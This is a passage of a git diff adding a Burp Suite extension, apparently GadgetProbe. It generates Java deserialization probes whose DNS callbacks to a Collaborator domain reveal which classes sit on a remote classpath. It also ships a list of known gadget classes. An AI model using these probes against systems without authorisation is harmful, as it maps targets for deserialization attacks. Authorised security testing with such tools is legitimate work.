+ enablePollingCheckBox.setActionCommand("enableDisablePolling");
+ enablePollingCheckBox.setEnabled(true);
+ enablePollingCheckBox.setSelected(true);
+ enablePollingCheckBox.setText("Enable Polling");
+ optionsPanel.add(enablePollingCheckBox, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_NORTHWEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ detectLibraryVersionsButton = new JButton();
+ detectLibraryVersionsButton.setActionCommand("detectLibraryVersion");
+ detectLibraryVersionsButton.setText("Detect Library Versions");
+ detectLibraryVersionsButton.setToolTipText("Detect library versions uses the bundled wordlists to try and identify library versions on the remote classpath");
+ optionsPanel.add(detectLibraryVersionsButton, new GridConstraints(4, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ clearHistoryAndResetButton = new JButton();
+ clearHistoryAndResetButton.setActionCommand("reset");
+ clearHistoryAndResetButton.setText("Reset Extension");
+ clearHistoryAndResetButton.setToolTipText("Reset will create a new collaborator interaction endpoint and no longer listen for incoming interactions on the previous endpoint. Class lists and the output will be cleared, as well.");
+ optionsPanel.add(clearHistoryAndResetButton, new GridConstraints(6, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ PollingOption = new JPanel();
+ PollingOption.setLayout(new GridLayoutManager(1, 4, new Insets(0, 0, 0, 0), -1, -1));
+ optionsPanel.add(PollingOption, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, true));
+ final JLabel label3 = new JLabel();
+ label3.setText("Poll every");
+ PollingOption.add(label3, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
+ final JLabel label4 = new JLabel();
+ label4.setText("Seconds");
+ PollingOption.add(label4, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
+ pollingIntervalSeconds = new JFormattedTextField();
+ pollingIntervalSeconds.setText("30");
+ PollingOption.add(pollingIntervalSeconds, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, new Dimension(32, -1), null, null, 0, false));
+ pollNow = new JButton();
+ pollNow.setActionCommand("pollNow");
+ pollNow.setText("Poll Now");
+ PollingOption.add(pollNow, new GridConstraints(0, 3, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ final Spacer spacer1 = new Spacer();
+ optionsPanel.add(spacer1, new GridConstraints(7, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_VERTICAL, 1, GridConstraints.SIZEPOLICY_WANT_GROW, null, null, new Dimension(-1, 20), 0, false));
+ clearConsole = new JButton();
+ clearConsole.setActionCommand("clearConsole");
+ clearConsole.setText("Clear Console");
+ clearConsole.setToolTipText("Clear console to the right");
+ optionsPanel.add(clearConsole, new GridConstraints(3, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ refreshDNS = new JButton();
+ refreshDNS.setActionCommand("refreshDNS");
+ refreshDNS.setText("Refresh DNS Endpoint");
+ refreshDNS.setToolTipText("Keep all data, but refresh interaction endpoint for all future generated payloads");
+ optionsPanel.add(refreshDNS, new GridConstraints(5, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ }
+
+ /**
+ * @noinspection ALL
+ */
+ private Font $$$getFont$$$(String fontName, int style, int size, Font currentFont) {
+ if (currentFont == null) return null;
+ String resultName;
+ if (fontName == null) {
+ resultName = currentFont.getName();
+ } else {
+ Font testFont = new Font(fontName, Font.PLAIN, 10);
+ if (testFont.canDisplay('a') && testFont.canDisplay('1')) {
+ resultName = fontName;
+ } else {
+ resultName = currentFont.getName();
+ }
+ }
+ return new Font(resultName, style >= 0 ? style : currentFont.getStyle(), size >= 0 ? size : currentFont.getSize());
+ }
+
+ /**
+ * @noinspection ALL
+ */
+ public JComponent $$$getRootComponent$$$() {
+ return mainPanel;
+ }
+
+ private class JListRenderer extends DefaultListCellRenderer {
+ private final Color CELL_COLOR_1 = Color.decode("#F2F2F2");
+ private final Color CELL_COLOR_2 = Color.decode("#FBFBFB");
+ private final Color CELL_COLOR_SELECTED = Color.decode("#FFCD81");
+
+ public Component getListCellRendererComponent(JList list, Object value, int index, boolean isSelected, boolean cellHasFocus) {
+ Component c = super.getListCellRendererComponent(list, value, index, isSelected, cellHasFocus);
+ setText(value.toString());
+
+ if (index % 2 == 0) {
+ c.setBackground(CELL_COLOR_1);
+ } else {
+ c.setBackground(CELL_COLOR_2);
+ }
+
+ if (isSelected) {
+ c.setBackground(CELL_COLOR_SELECTED);
+ }
+ return this;
+ }
+
+ }
+
+ public Set getClassesFound() {
+ return classesFound;
+ }
+
+ public Set getClassesNotFound() {
+ return classesNotFound.keySet();
+ }
+
+ public void reset() {
+ classesFound.clear();
+ classesNotFound.clear();
+ classesFoundList.setListData(new Object[]{});
+ classesNotFoundList.setListData(new Object[]{});
+ consoleOutput.setText("");
+ }
+
+ private class PollingListener implements KeyListener {
+ private ActionListener actionListener;
+ private BurpGui burpGui;
+
+ public PollingListener(ActionListener actionListener, BurpGui burpGui) {
+ this.actionListener = actionListener;
+ this.burpGui = burpGui;
+ }
+
+ public void keyPressed(KeyEvent keyEvent) {
+ }
+
+ public void keyReleased(KeyEvent keyEvent) {
+ actionListener.actionPerformed(new ActionEvent(keyEvent.getSource(), keyEvent.getID(), "KEY_TYPED," + burpGui.getPollingInterval()));
+ }
+
+ public void keyTyped(KeyEvent keyEvent) {
+ }
+ }
+
+ public String getPollingInterval() {
+ return pollingIntervalSeconds.getText();
+ }
+
+ private class CopyListData extends AbstractAction {
+ private JList focusOwner = null;
+
+ public CopyListData(JList focusOwner) {
+ super("CopyTest");
+ this.focusOwner = focusOwner;
+ }
+
+ @Override
+ public void actionPerformed(ActionEvent e) {
+ Clipboard cb = Toolkit.getDefaultToolkit().getSystemClipboard();
+ String s = String.join("\n", focusOwner.getSelectedValuesList());
+ cb.setContents(new StringSelection(s), null);
+ }
+ }
+
+ // Input Classes
+ public void setupListeners(ActionListener actionListener) {
+ pollNow.addActionListener(actionListener);
+ pollingIntervalSeconds.addKeyListener(new PollingListener(actionListener, this));
+ clearConsole.addActionListener(actionListener);
+ enablePollingCheckBox.addActionListener(actionListener);
+ detectLibraryVersionsButton.addActionListener(actionListener);
+ clearHistoryAndResetButton.addActionListener(actionListener);
+ refreshDNS.addActionListener(actionListener);
+ cellRenderer = new JListRenderer();
+
+ // Setup Ctrl-C support
+ classesFoundList.getActionMap().put("CopyTest", new CopyListData(classesFoundList));
+ classesFoundList.getInputMap(JComponent.WHEN_IN_FOCUSED_WINDOW).put(KeyStroke.getKeyStroke(KeyEvent.VK_C, InputEvent.CTRL_MASK), "CopyTest");
+
+ classesNotFoundList.getActionMap().put("CopyTest", new CopyListData(classesNotFoundList));
+ classesNotFoundList.getInputMap(JComponent.WHEN_IN_FOCUSED_WINDOW).put(KeyStroke.getKeyStroke(KeyEvent.VK_C, InputEvent.CTRL_MASK), "CopyTest");
+
+ classesFoundList.setFocusable(true);
+ classesNotFoundList.setFocusable(true);
+
+ classesFoundList.setCellRenderer(cellRenderer);
+ classesNotFoundList.setCellRenderer(cellRenderer);
+ }
+
+ @SuppressWarnings("unchecked")
+ private synchronized void refreshClassLists() {
+ SwingUtilities.invokeLater(new Runnable() {
+
+ @Override
+ public void run() {
+ int[] selFound = classesFoundList.getSelectedIndices();
+ int[] selNotFound = classesNotFoundList.getSelectedIndices();
+
+ classesFoundList.setListData(classesFound.toArray());
+ classesNotFoundList.setListData(classesNotFound.keySet().toArray());
+
+ classesFoundList.setFocusable(true);
+ classesNotFoundList.setFocusable(true);
+
+ classesFoundList.setCellRenderer(cellRenderer);
+ classesNotFoundList.setCellRenderer(cellRenderer);
+
+ classesFoundList.setSelectedIndices(selFound);
+ classesNotFoundList.setSelectedIndices(selNotFound);
+ }
+
+ });
+
+ }
+
+ public int getClassesFoundLength() {
+ return classesFound.size();
+ }
+
+ public synchronized void addClassFound(String classFound) {
+ String cls = classesNotFound.remove(classFound
+ .replaceAll("d-0-ll", "\\$")
+ .replaceAll("d-4-sh", "_")
+ );
+ if (cls != null) {
+ classesFound.add(cls);
+ classesNotFound.remove(classFound);
+ refreshClassLists();
+ }
+ }
+
+ public synchronized void addClassNotFound(String classNotFound) {
+ if (!classesFound.contains(classNotFound)) {
+ classesNotFound.put(classNotFound, classNotFound);
+ refreshClassLists();
+ }
+ }
+
+ public void clearConsole() {
+ consoleOutput.setText("");
+ }
+
+ public void consolePrintln(String text) {
+ consoleOutput.append(text + "\n");
+ }
+
+ public boolean isPollingEnabled() {
+ return enablePollingCheckBox.isSelected();
+ }
+}
diff --git a/src/main/java/burp/InteractionServer.java b/src/main/java/burp/InteractionServer.java
new file mode 100644
index 0000000..920870e
--- /dev/null
+++ b/src/main/java/burp/InteractionServer.java
@@ -0,0 +1,193 @@
+package burp;
+
+import com.bishopfox.gadgetprobe.GadgetProbe;
+
+import java.awt.*;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.text.DateFormat;
+import java.text.SimpleDateFormat;
+import java.util.*;
+import java.util.List;
+
+public class InteractionServer extends Thread {
+
+ private IBurpExtenderCallbacks callbacks;
+ private IBurpCollaboratorClientContext collaboratorContext;
+
+ private PrintWriter stdout;
+ private PrintWriter stderr;
+
+ private final Object pauseLock = new Object();
+ private volatile boolean paused = false;
+ private volatile boolean goOn;
+
+ private int pollingMilliseconds = 30000;
+ private Date lastPollingDate;
+
+ private static GadgetProbe gadgetProbe;
+ private BurpGui guiManager;
+
+ public static GadgetProbe getGadgetProbe() {
+ return gadgetProbe;
+ }
+
+ public InteractionServer(IBurpExtenderCallbacks callbacks, IBurpCollaboratorClientContext initialCollaboratorContext, BurpGui guiManager) {
+
+ this.callbacks = callbacks;
+ this.guiManager = guiManager;
+
+ // Initialize stdout and stderr
+ this.stdout = new PrintWriter(callbacks.getStdout(), true);
+ this.stderr = new PrintWriter(callbacks.getStderr(), true);
+
+
+ if(initialCollaboratorContext != null) {
+ this.gadgetProbe = new GadgetProbe(initialCollaboratorContext.generatePayload(true));
+ collaboratorContext = initialCollaboratorContext;
+ } else {
+ stdout.println("Collaborator disabled");
+ }
+
+ this.goOn = true;
+
+ }
+
+ public void setPollingMilliseconds(int pollingMilliseconds) {
+ this.pollingMilliseconds = pollingMilliseconds;
+ }
+
+ public void setGoOn(boolean goOn) {
+ this.goOn = goOn;
+ }
+
+ public void pause() {
+ paused = true;
+ stdout.println("Stopping Collaborator interactions polling");
+ }
+
+ public void resumeThread() {
+ synchronized (pauseLock) {
+ paused = false;
+ pauseLock.notifyAll(); // Unblocks thread
+ }
+ stdout.println("Restarting Collaborator interactions polling");
+ }
+
+ public void setCollaboratorContext(IBurpCollaboratorClientContext collaboratorContext) {
+ this.gadgetProbe = new GadgetProbe(collaboratorContext.getCollaboratorServerLocation());
+ }
+
+ public void run() {
+
+ stdout.println("Thread started");
+
+ DateFormat dateFormat = new SimpleDateFormat("dd/MM/yyyy HH:mm:ss");
+ lastPollingDate = null;
+
+ while(goOn) {
+
+ synchronized (pauseLock) {
+
+ // Maybe is changed while waiting for pauseLock
+ if(!goOn) {
+ break;
+ }
+
+ if (paused) {
+ try {
+ pauseLock.wait();
+ } catch (InterruptedException e) {
+ stderr.println("Exception with wait/notify");
+ stderr.println(e.toString());
+ }
+ // Maybe is changed while waiting for pauseLock
+ if(!goOn) {
+ break;
+ }
+ }
+
+ }
+
+ Date date = new Date();
+ if(lastPollingDate == null || (date.getTime() - lastPollingDate.getTime()) > pollingMilliseconds) {
+ stdout.println("**** " + dateFormat.format(date) + " ****");
+ try {
+ stdout.println("Polling " + collaboratorContext.getCollaboratorServerLocation());
+ stdout.println("Classes found: " + guiManager.getClassesFoundLength());
+ } catch(IllegalStateException e) {
+ stdout.println("Can't fetch interactions while Collaborator is disabled (Burp Suite limitation)");
+ } catch(Exception f) {
+ stdout.println("Exception");
+ StringWriter sw = new StringWriter();
+ PrintWriter pw = new PrintWriter(sw);
+ f.printStackTrace(pw);
+ stdout.println(sw.toString());
+ }
+ stdout.println();
+ lastPollingDate = date;
+ }
+
+ try {
+
+ List allCollaboratorInteractions = collaboratorContext.fetchAllCollaboratorInteractions();
+
+ for(int j=0; j < allCollaboratorInteractions.size(); j++) {
+
+ // HACKY DNS parsing :)
+ IBurpCollaboratorInteraction interaction = allCollaboratorInteractions.get(j);
+ if(interaction.getProperty("type").equals("DNS") && interaction.getProperty("query_type").startsWith("A")) {
+ byte[] bytes = Base64.getDecoder().decode(interaction.getProperty("raw_query"));
+ StringBuilder sb = new StringBuilder();
+
+ int i = 12;
+ do {
+ int chunk_len = (int)bytes[i++];
+ if (i + chunk_len < bytes.length) {
+ String chunk = new String(Arrays.copyOfRange(bytes, i, i + chunk_len));
+ if (chunk.equals(interaction.getProperty("interaction_id"))) {
+ if (sb.length() > 1) {
+ sb.deleteCharAt(sb.length() - 1);
+ }
+ break;
+ }
+ sb.append(chunk);
+ sb.append(".");
+ i += chunk_len;
+ }
+ } while ( i < bytes.length);
+
+ guiManager.addClassFound(sb.toString());
+ }
+
+ }
+
+ } catch(IllegalStateException e) {
+ stdout.println("Can't fetch interactions while Collaborator is disabled (Burp Suite limitation)");
+ } catch(Exception f) {
+ stdout.println("Exception");
+ StringWriter sw = new StringWriter();
+ PrintWriter pw = new PrintWriter(sw);
+ f.printStackTrace(pw);
+ stdout.println(sw.toString());
+ }
+
+ try {
+ Thread.sleep(pollingMilliseconds);
+ } catch (InterruptedException e) {
+ stdout.println("InteractionServer: Thread interrupted.");
+ }
+
+ }
+
+ }
+
+ public void pollNow() {
+ lastPollingDate = null;
+ }
+
+ public void reset() {
+ collaboratorContext = callbacks.createBurpCollaboratorClientContext();
+ this.gadgetProbe = new GadgetProbe(collaboratorContext.generatePayload(true));
+ }
+}
\ No newline at end of file
diff --git a/src/main/java/burp/Signatures/Bsh.java b/src/main/java/burp/Signatures/Bsh.java
new file mode 100644
index 0000000..a4b8d5e
--- /dev/null
+++ b/src/main/java/burp/Signatures/Bsh.java
@@ -0,0 +1,28 @@
+package burp.Signatures;
+
+import java.util.Set;
+
+public class Bsh extends Signature {
+
+ public Bsh(Set found, Set notFound) {
+ super(found, notFound);
+ SIGNATURES = new String[] {
+ // bsh 2.0b5 Class (greater than)
+ "bsh.CollectionManager$BasicBshIterator$1",
+ // bsh 2.0b4 Class (equals)
+ "bsh.BSHBlock$NodeFilter",
+ // bsh class that appears in multiple versions (less than)
+ "bsh.BlockNameSpace"
+ };
+ }
+
+ @Override
+ public String getName() {
+ return "bsh";
+ }
+
+ @Override
+ public String getVersion() {
+ return "2.0b4";
+ }
+}
diff --git a/src/main/java/burp/Signatures/C3p0.java b/src/main/java/burp/Signatures/C3p0.java
new file mode 100644
index 0000000..7837776
--- /dev/null
+++ b/src/main/java/burp/Signatures/C3p0.java
@@ -0,0 +1,28 @@
+package burp.Signatures;
+
+import java.util.Set;
+
+public class C3p0 extends Signature {
+
+ public C3p0(Set found, Set notFound) {
+ super(found, notFound);
+ SIGNATURES = new String[] {
+ // c3p0 0.9.5.3 Class (greater than)
+ "",
+ // c3p0 0.9.5.2 Class (equals)
+ "",
+ // c3p0 class that appears in multiple versions (less than)
+ "com.mchange.Debug"
+ };
+ }
+
+ @Override
+ public String getName() {
+ return "c3p0";
+ }
+
+ @Override
+ public String getVersion() {
+ return "0.9.5.2";
+ }
+}
diff --git a/src/main/java/burp/Signatures/Clojure.java b/src/main/java/burp/Signatures/Clojure.java
new file mode 100644
index 0000000..8fb6f30
--- /dev/null
+++ b/src/main/java/burp/Signatures/Clojure.java
@@ -0,0 +1,28 @@
+package burp.Signatures;
+
+import java.util.Set;
+
+public class Clojure extends Signature {
+
+ public Clojure(Set found, Set notFound) {
+ super(found, notFound);
+ SIGNATURES = new String[] {
+ // clojure 1.9.0 Class (greater than)
+ "clojure.lang.EdnReader$NamespaceMapReader",
+ // clojure 1.8.0 Class (equals)
+ "clojure.core$aclone__inliner__5063",
+ // clojure class that appears in multiple versions (less than)
+ "clojure.asm.AnnotationVisitor"
+ };
+ }
+
+ @Override
+ public String getName() {
+ return "clojure";
+ }
+
+ @Override
+ public String getVersion() {
+ return "1.8.0";
+ }
+}
diff --git a/src/main/java/burp/Signatures/CommonsCollections3.java b/src/main/java/burp/Signatures/CommonsCollections3.java
new file mode 100644
index 0000000..9f3ac69
--- /dev/null
+++ b/src/main/java/burp/Signatures/CommonsCollections3.java
@@ -0,0 +1,28 @@
+package burp.Signatures;
+
+import java.util.Set;
+
+public class CommonsCollections3 extends Signature {
+
+ public CommonsCollections3(Set found, Set notFound) {
+ super(found, notFound);
+ SIGNATURES = new String[] {
+ // Apache Commons 3.2 Class (greater than)
+ "org.apache.commons.collections.iterators.ReverseListIterator",
+ // Apache Commons 3.1 Class (equals)
+ "org.apache.commons.collections.functors.TransformedPredicate",
+ // Apache Commons class that appears in most versions (less than)
+ "org.apache.commons.collections.ArrayStack"
+ };
+ }
+
+ @Override
+ public String getName() {
+ return "Apache common-collections";
+ }
+
+ @Override
+ public String getVersion() {
+ return "3.1";
+ }
+}
diff --git a/src/main/java/burp/Signatures/CommonsCollections4.java b/src/main/java/burp/Signatures/CommonsCollections4.java
new file mode 100644
index 0000000..36537ea
--- /dev/null
+++ b/src/main/java/burp/Signatures/CommonsCollections4.java
@@ -0,0 +1,28 @@
+package burp.Signatures;
+
+import java.util.Set;
+
+public class CommonsCollections4 extends Signature {
+
+ public CommonsCollections4(Set found, Set notFound) {
+ super(found, notFound);
+ SIGNATURES = new String[] {
+ // Apache Commons 4.1 Class (greater than)
+ "org.apache.commons.collections4.iterators.BoundedIterator",
+ // Apache Commons 4.0 Class (equals)
+ "org.apache.commons.collections4.iterators.PeekingIterator",
+ // Apache Commons class that appears in most versions (less than)
+ "org.apache.commons.collections4.iterators.ArrayIterator"
+ };
+ }
+
+ @Override
+ public String getName() {
+ return "Apache common-collections4";
+ }
+
+ @Override
+ public String getVersion() {
+ return "4.0";
+ }
+}
diff --git a/src/main/java/burp/Signatures/CommonsIO2.java b/src/main/java/burp/Signatures/CommonsIO2.java
new file mode 100644
index 0000000..aa10f6e
--- /dev/null
+++ b/src/main/java/burp/Signatures/CommonsIO2.java
@@ -0,0 +1,28 @@
+package burp.Signatures;
+
+import java.util.Set;
+
+public class CommonsIO2 extends Signature {
+
+ public CommonsIO2(Set found, Set notFound) {
+ super(found, notFound);
+ SIGNATURES = new String[] {
+ // Apache Commons-IO 2.5 Class (greater than)
+ "org.apache.commons.io.input.BoundedReader",
+ // Apache Commons-IO 2.4 Class (greater than)
+ "org.apache.commons.io.input.BOMInputStream$1",
+ // Apache Commons class that appears in most versions (less than)
+ "org.apache.commons.io.Charsets"
+ };
+ }
+
+ @Override
+ public String getName() {
+ return "Apache commons-io";
+ }
+
+ @Override
+ public String getVersion() {
+ return "2.4";
+ }
+}
diff --git a/src/main/java/burp/Signatures/Groovy239.java b/src/main/java/burp/Signatures/Groovy239.java
new file mode 100644
index 0000000..9ddb994
--- /dev/null
+++ b/src/main/java/burp/Signatures/Groovy239.java
@@ -0,0 +1,30 @@
+package burp.Signatures;
+
+import java.util.Set;
+
+public class Groovy239 extends Signature {
+
+ public Groovy239 (Set found, Set notFound) {
+
+ super(found, notFound);
+ SIGNATURES = new String[] {
+ // groovy-all 2.3.10 Class (greater than)
+ "groovy.grape.GrapeIvy$_enumerateGrapes_closure11_closure22",
+ // groovy-all 2.3.9 Class (equals)
+ "org.codehaus.groovy.classgen.asm.indy.IndyBinHelper",
+ // groovy-all class that appears in multiple versions (less than)
+ "groovy.beans.BindableASTTransformation"
+ };
+
+ }
+
+ @Override
+ public String getName() {
+ return "groovy-all";
+ }
+
+ @Override
+ public String getVersion() {
+ return "2.3.9";
+ }
+}
diff --git a/src/main/java/burp/Signatures/HibernateCore.java b/src/main/java/burp/Signatures/HibernateCore.java
new file mode 100644
index 0000000..a4fe40a
--- /dev/null
+++ b/src/main/java/burp/Signatures/HibernateCore.java
@@ -0,0 +1,28 @@
+package burp.Signatures;
+
+import java.util.Set;
+
+public class HibernateCore extends Signature {
+
+ public HibernateCore(Set found, Set notFound) {
+ super(found, notFound);
+ SIGNATURES = new String[] {
+ // hibernate-core 5.1.17.Final Class (greater than)
+ "org.hibernate.annotations.LazyGroup",
+ // hibernate-core 5.0.7.Final Class (equals)
+ "org.hibernate.boot.archive.spi.JarFileEntryUrlAdjuster",
+ // hibernate-core class that appears in multiple versions (less than)
+ "org.hibernate.action.internal.AbstractEntityInsertAction"
+ };
+ }
+
+ @Override
+ public String getName() {
+ return "hibernate-core";
+ }
+
+ @Override
+ public String getVersion() {
+ return "5.0.7.Final";
+ }
+}
diff --git a/src/main/java/burp/Signatures/Javassist.java b/src/main/java/burp/Signatures/Javassist.java
new file mode 100644
index 0000000..426b0e2
--- /dev/null
+++ b/src/main/java/burp/Signatures/Javassist.java
@@ -0,0 +1,28 @@
+package burp.Signatures;
+
+import java.util.Set;
+
+public class Javassist extends Signature {
+
+ public Javassist(Set found, Set notFound) {
+ super(found, notFound);
+ SIGNATURES = new String[] {
+ // javassist 3.26.0-GA Class (greater than)
+ "javassist.ByteArrayClassPath$1",
+ // javassist 3.20.0-GA Class (equals)
+ "javassist.bytecode.annotation.TypeAnnotationsWriter",
+ // javassist class that appears in multiple versions (less than)
+ "javassist.ByteArrayClassPath"
+ };
+ }
+
+ @Override
+ public String getName() {
+ return "javassist";
+ }
+
+ @Override
+ public String getVersion() {
+ return "3.20.0-GA";
+ }
+}
diff --git a/src/main/java/burp/Signatures/Signature.java b/src/main/java/burp/Signatures/Signature.java
new file mode 100644
index 0000000..764e7a8
--- /dev/null
+++ b/src/main/java/burp/Signatures/Signature.java
@@ -0,0 +1,72 @@
+package burp.Signatures;
+
+import java.util.Set;
+
+public abstract class Signature {
+ protected Set found;
+ protected Set notFound;
+ protected String[] SIGNATURES;
+
+ public abstract String getName();
+ public abstract String getVersion();
+
+ public Signature(Set found, Set notFound) {
+ this.found = found;
+ this.notFound = notFound;
+ }
+
+ public boolean greaterThan() {
+ return found.contains(SIGNATURES[0]);
+ }
+
+ public boolean lessThan() {
+ return notFound.contains(SIGNATURES[1]);
+ }
+
+ public boolean equals() {
+ return !greaterThan() && !lessThan()
+ && notFound.contains(SIGNATURES[0])
+ && found.contains(SIGNATURES[1]);
+ }
+
+ public boolean missing() {
+ return notFound.contains(SIGNATURES[2]);
+ }
+
+ public String[] getSignatures() {
+ return SIGNATURES;
+ }
+
+ public String getResult() {
+ StringBuilder sb = new StringBuilder();
+ if (missing()) {
+ sb.append(getName());
+ sb.append(": Not found\n");
+ return sb.toString();
+ }
+
+ if (greaterThan()) {
+ sb.append(getName());
+ sb.append(": detected version > ");
+ sb.append(getVersion());
+ sb.append("\n");
+ }
+ if (lessThan()) {
+ sb.append(getName());
+ sb.append(": detected version < ");
+ sb.append(getVersion());
+ sb.append("\n");
+ }
+ if (equals()) {
+ sb.append(getName());
+ sb.append(": detected version == ");
+ sb.append(getVersion());
+ sb.append("\n");
+ }
+ if (!lessThan() && !greaterThan() && !equals() && !missing()) {
+ sb.append(getName());
+ sb.append(": Missing signature queries. Try running the bundled wordlists.\n");
+ }
+ return sb.toString();
+ }
+}
diff --git a/src/main/java/burp/Signatures/SpringCore.java b/src/main/java/burp/Signatures/SpringCore.java
new file mode 100644
index 0000000..69861f8
--- /dev/null
+++ b/src/main/java/burp/Signatures/SpringCore.java
@@ -0,0 +1,28 @@
+package burp.Signatures;
+
+import java.util.Set;
+
+public class SpringCore extends Signature {
+
+ public SpringCore(Set found, Set notFound) {
+ super(found, notFound);
+ SIGNATURES = new String[] {
+ // spring-core 4.3.25.RELEASE Class (greater than)
+ "org.springframework.asm.CurrentFrame",
+ // spring-core 4.1.4.RELEASE Class (equals)
+ "org.springframework.asm.TypePath",
+ // spring-core class that appears in multiple versions (less than)
+ "org.springframework.asm.AnnotationVisitor"
+ };
+ }
+
+ @Override
+ public String getName() {
+ return "spring-core";
+ }
+
+ @Override
+ public String getVersion() {
+ return "4.1.4.RELEASE";
+ }
+}
diff --git a/src/main/java/com/bishopfox/gadgetprobe/GadgetProbe.java b/src/main/java/com/bishopfox/gadgetprobe/GadgetProbe.java
new file mode 100644
index 0000000..e9f02d1
--- /dev/null
+++ b/src/main/java/com/bishopfox/gadgetprobe/GadgetProbe.java
@@ -0,0 +1,89 @@
+package com.bishopfox.gadgetprobe;
+
+import burp.Analyzer;
+import javassist.CannotCompileException;
+import javassist.ClassPool;
+import javassist.CtClass;
+
+import java.io.*;
+import java.lang.reflect.Array;
+import java.lang.reflect.Field;
+import java.net.*;
+import java.util.*;
+
+import static com.nqzero.permit.Permit.setAccessible;
+
+public class GadgetProbe {
+
+ private String callbackDomain;
+ private ClassPool pool;
+
+ public GadgetProbe(String callback_domain) {
+ this.callbackDomain = callback_domain;
+ this.pool = new ClassPool(true);
+ }
+
+ private class SilentURLStreamHandler extends URLStreamHandler {
+
+ protected URLConnection openConnection(URL u) throws IOException {
+ return null;
+ }
+
+ protected synchronized InetAddress getHostAddress(URL u) {
+ return null;
+ }
+ }
+
+ private Class getOrGenerateClass(String className) {
+ Class clazz = null;
+ try {
+ clazz = Class.forName(className);
+ } catch (ClassNotFoundException e) {
+ CtClass cc = pool.makeClass(className);
+
+ try {
+ clazz = cc.toClass();
+ return clazz;
+ } catch (CannotCompileException err) {
+ if (err.getCause() != null && err.getCause().getCause() instanceof SecurityException) {
+ System.err.println("Error: Classname is in protected package. Most likely a typo: " + className);
+ } else {
+ err.printStackTrace();
+ }
+ }
+ }
+ return clazz;
+ }
+
+ @SuppressWarnings("unchecked")
+ public Object getObject(final String clsname) {
+ URLStreamHandler handler = new SilentURLStreamHandler();
+
+ LinkedHashMap hm = new LinkedHashMap();
+ URL u = null;
+
+ try {
+ u = new URL(null, "http://" + clsname.replaceAll("_","d-4-sh").replaceAll("\\$","d-0-ll") + "." + callbackDomain, handler);
+ } catch (MalformedURLException e) {
+ e.printStackTrace();
+ }
+ Class clazz = getOrGenerateClass(clsname);
+ if (clazz == null) {
+ return null;
+ }
+ hm.put("test", clazz);
+ hm.put(u, "test");
+ try {
+ Field field = URL.class.getDeclaredField("hashCode");
+ setAccessible(field);
+
+ field.set(u, -1);
+ } catch (NoSuchFieldException | IllegalAccessException e) {
+ e.printStackTrace();
+ }
+ return hm;
+ }
+ public static void main(String[] args) {
+ System.out.println(Analyzer.getWordlist());
+ }
+}
diff --git a/wordlists/FasterXML_blacklist.list b/wordlists/FasterXML_blacklist.list
new file mode 100644
index 0000000..3499b63
--- /dev/null
+++ b/wordlists/FasterXML_blacklist.list
@@ -0,0 +1,49 @@
+org.apache.commons.collections.functors.InvokerTransformer
+org.apache.commons.collections.functors.InstantiateTransformer
+org.apache.commons.collections4.functors.InvokerTransformer
+org.apache.commons.collections4.functors.InstantiateTransformer
+org.codehaus.groovy.runtime.ConvertedClosure
+org.codehaus.groovy.runtime.MethodClosure
+org.springframework.beans.factory.ObjectFactory
+com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
+org.apache.xalan.xsltc.trax.TemplatesImpl
+com.sun.rowset.JdbcRowSetImpl
+java.util.logging.FileHandler
+java.rmi.server.UnicastRemoteObject
+org.springframework.beans.factory.config.PropertyPathFactoryBean
+org.apache.tomcat.dbcp.dbcp2.BasicDataSource
+com.sun.org.apache.bcel.internal.util.ClassLoader
+org.hibernate.jmx.StatisticsService
+org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
+org.apache.ibatis.parsing.XPathParser
+jodd.db.connection.DataSourceConnectionProvider
+oracle.jdbc.connector.OracleManagedConnectionFactory
+oracle.jdbc.rowset.OracleJDBCRowSet
+org.slf4j.ext.EventData
+flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor
